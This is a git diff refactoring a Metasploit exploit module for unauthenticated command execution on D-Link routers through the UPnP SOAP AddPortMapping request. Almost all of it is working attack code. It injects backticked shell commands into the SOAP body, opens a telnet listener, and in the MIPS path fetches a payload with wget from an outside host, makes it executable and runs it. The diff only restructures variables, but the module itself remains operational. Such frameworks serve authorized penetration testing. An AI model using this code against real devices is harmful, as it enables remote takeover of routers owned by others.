diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index 8e6c4af07b..5bb7c698d4 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -85,51 +85,51 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - new_portmapping_description = rand_text_alpha(8) - new_external_port = rand(65535) - new_internal_port = rand(65535) + @new_portmapping_descr = rand_text_alpha(8) + @new_external_port = rand(65535) + @new_internal_port = rand(65535) if target.name =~ /CMD/ - exploit_cmd(new_external_port, new_internal_port, new_portmapping_description) + exploit_cmd elsif target.name =~ /Telnet/ - exploit_telnet(new_external_port, new_internal_port, new_portmapping_description) + exploit_telnet else - exploit_mips(new_external_port, new_internal_port, new_portmapping_description) + exploit_mips end end - def exploit_cmd(new_external_port, new_internal_port, new_portmapping_description) + def exploit_cmd if not (datastore['CMD']) fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded type = "add" - res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description) + res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") type = "delete" - res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description) + res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end return end - def exploit_telnet(new_external_port, new_internal_port, new_portmapping_description) + def exploit_telnet telnetport = rand(65535) vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") cmd = "telnetd -p #{telnetport}" type = "add" - res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description) + res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end type = "delete" - res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description) + res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end @@ -168,7 +168,7 @@ class Metasploit3 < Msf::Exploit::Remote return end - def exploit_mips(new_external_port, new_internal_port, new_portmapping_description) + def exploit_mips downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) @@ -220,7 +220,7 @@ class Metasploit3 < Msf::Exploit::Remote cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}" type = "add" - res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description) + res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end @@ -236,13 +236,13 @@ class Metasploit3 < Msf::Exploit::Remote register_file_for_cleanup("/tmp/#{filename}") type = "delete" - res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description) + res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end end - def request(cmd, type, new_external_port, new_internal_port, new_portmapping_description) + def request(cmd, type) uri = '/soap.cgi' @@ -256,14 +256,14 @@ class Metasploit3 < Msf::Exploit::Remote soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" data_cmd << "" - data_cmd << "#{new_portmapping_description}" + data_cmd << "#{@new_portmapping_descr}" data_cmd << "" data_cmd << "`#{cmd}`" data_cmd << "1" - data_cmd << "#{new_external_port}" + data_cmd << "#{@new_external_port}" data_cmd << "" data_cmd << "TCP" - data_cmd << "#{new_internal_port}" + data_cmd << "#{@new_internal_port}" data_cmd << "" else #we should clean it up ... otherwise we are not able to exploit it multiple times @@ -271,7 +271,7 @@ class Metasploit3 < Msf::Exploit::Remote soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" data_cmd << "" - data_cmd << "TCP#{new_external_port}" + data_cmd << "TCP#{@new_external_port}" data_cmd << "" end